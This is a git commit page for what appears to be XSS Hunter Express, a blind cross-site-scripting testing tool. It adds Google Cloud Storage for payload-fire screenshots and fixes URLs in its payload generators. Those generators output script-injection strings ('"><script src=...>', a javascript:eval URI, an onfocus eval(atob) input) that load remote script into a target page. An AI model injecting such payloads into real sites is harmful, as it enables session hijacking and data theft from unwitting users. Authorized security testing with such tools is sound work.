Merge pull request #1 from dxa4481/main

GCS plus maybe other stuff
This commit is contained in:
Dustin Decker 2023-01-25 08:53:14 -08:00 committed by GitHub
commit f97ed07d09
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
5 changed files with 95 additions and 43 deletions

53
api.js
View file

@ -1,4 +1,5 @@
const bcrypt = require('bcrypt');
const { Storage } = require('@google-cloud/storage');
const express = require('express');
const cors = require('cors');
const path = require('path');
@ -24,6 +25,8 @@ const {OAuth2Client} = require('google-auth-library');
const SCREENSHOTS_DIR = path.resolve(process.env.SCREENSHOTS_DIR);
const client = new OAuth2Client(process.env.CLIENT_ID, process.env.CLIENT_SECRET, `https://${process.env.HOSTNAME}/oauth-login`);
const SCREENSHOT_FILENAME_REGEX = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}\.png$/i);
var sessions_middleware = false;
var sessions_settings_object = {
@ -114,6 +117,7 @@ async function set_up_api_server(app) {
constants.API_BASE_PATH + 'settings',
constants.API_BASE_PATH + 'xss-uri',
constants.API_BASE_PATH + 'user-path',
'/screenshots/'
];
@ -181,6 +185,55 @@ async function set_up_api_server(app) {
}
});
app.get('/screenshots/:screenshotFilename', async (req, res) => {
const screenshot_filename = req.params.screenshotFilename;
// Come correct or don't come at all.
if(!SCREENSHOT_FILENAME_REGEX.test(screenshot_filename)) {
return res.sendStatus(404);
}
const gz_image_path = `${SCREENSHOTS_DIR}/${screenshot_filename}.gz`;
if (process.env.USE_CLOUD_STORAGE == "true"){
const storage = new Storage();
const bucket = storage.bucket(process.env.BUCKET_NAME);
const file = bucket.file(gz_image_path);
try {
// Download the gzipped image
const [image] = await file.download();
// Send the gzipped image in the response
res.set('Content-Encoding', 'gzip');
res.set('Content-Type', 'image/png');
res.send(image);
} catch (error) {
console.error(error);
res.status(404).send(`Error retrieving image from GCS`);
}
}else{
const image_exists = await check_file_exists(gz_image_path);
if(!image_exists) {
return res.sendStatus(404);
}
// Return the gzipped image file with the appropriate
// Content-Encoding header, should be widely supported.
res.sendFile(gz_image_path, {
// Why leak anything you don't have to?
lastModified: false,
acceptRanges: false,
cacheControl: true,
headers: {
"Content-Type": "image/png",
"Content-Encoding": "gzip"
}
})
}
});
// Serve the front-end
app.use('/app/', express.static(

78
app.js
View file

@ -1,4 +1,5 @@
const bodyParser = require('body-parser');
const { Storage } = require('@google-cloud/storage');
const express = require('express');
const fs = require('fs');
const zlib = require('zlib');
@ -209,20 +210,45 @@ async function get_app_server() {
const gzip = zlib.createGzip();
const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
const input_read_stream = fs.createReadStream(multer_temp_image_path);
// When the "finish" event is called we delete the original
// uncompressed image file left behind by multer.
input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
if(error) {
console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
console.error(error);
}
if (process.env.USE_CLOUD_STORAGE == "true"){
const storage = new Storage();
//creating a bucket instance
const bucket = storage.bucket(process.env.BUCKET_NAME);
//compressing the file using gzip
const gzip = zlib.createGzip();
const gzipTempFileName = multer_temp_image_path + ".gz";
const tempFileWriteStream = fs.createWriteStream(gzipTempFileName);
input_read_stream.pipe(gzip).pipe(tempFileWriteStream);
// Wait for the file to be finished writing
await new Promise((resolve, reject) => {
tempFileWriteStream.on('finish', resolve);
tempFileWriteStream.on('error', reject);
});
//uploading the gzipped file to GCS
await bucket.upload(gzipTempFileName, {
gzip: true,
destination: payload_fire_image_filename,
metadata: {
cacheControl: 'public, max-age=31536000',
},
});
console.log(`${payload_fire_image_filename} has been uploaded to GCS.`);
await asyncfs.unlink(multer_temp_image_path);
await asyncfs.unlink(gzipTempFileName);
}else{
input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
if(error) {
console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
console.error(error);
}
console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
await asyncfs.unlink(multer_temp_image_path);
});
console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
await asyncfs.unlink(multer_temp_image_path);
});
}
const payload_fire_id = uuid.v4();
var payload_fire_data = {
id: payload_fire_id,
@ -263,37 +289,7 @@ async function get_app_server() {
}
});
app.get('/screenshots/:screenshotFilename', async (req, res) => {
const screenshot_filename = req.params.screenshotFilename;
// Come correct or don't come at all.
if(!SCREENSHOT_FILENAME_REGEX.test(screenshot_filename)) {
return res.sendStatus(404);
}
const gz_image_path = `${SCREENSHOTS_DIR}/${screenshot_filename}.gz`;
const image_exists = await check_file_exists(gz_image_path);
if(!image_exists) {
return res.sendStatus(404);
}
// Return the gzipped image file with the appropriate
// Content-Encoding header, should be widely supported.
res.sendFile(gz_image_path, {
// Why leak anything you don't have to?
lastModified: false,
acceptRanges: false,
cacheControl: true,
headers: {
"Content-Type": "image/png",
"Content-Encoding": "gzip"
}
})
});
// Set up /health handler so the user can
// do uptime checks and appropriate alerting.
app.get('/health', async (req, res) => {

View file

@ -48,6 +48,8 @@ services:
- DATABASE_PASSWORD=xsshunterexpress
- DATABASE_HOST=postgresdb
- NODE_ENV=production
- USE_CLOUD_STORAGE=true
- BUCKET_NAME=YourBucket
ports:
- "80:80"
- "443:443"

View file

@ -85,10 +85,10 @@ export default {
return 'var a=document.createElement("script");a.src="https://' + this.base_domain + '";document.body.appendChild(a);';
},
basic_script: function() {
return "\"><script src=\"https//" + this.base_domain + "\"><\/script>";
return "\"><script src=\"https://" + this.base_domain + "\"><\/script>";
},
javascript_uri: function() {
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https//" + this.base_domain + "\\';document.body.appendChild(a)')";
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + this.base_domain + "\\';document.body.appendChild(a)')";
},
input_onfocus: function() {
return "\"><input onfocus=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " autofocus>";

View file

@ -14,6 +14,7 @@
"@nvanexan/node-client-sessions": "^0.8.0",
"bcrypt": "^5.0.1",
"cors": "^2.8.5",
"@google-cloud/storage": "^6.9.0",
"express": "^4.17.1",
"express-jsonschema": "^1.1.6",
"greenlock-express": "^4.0.3",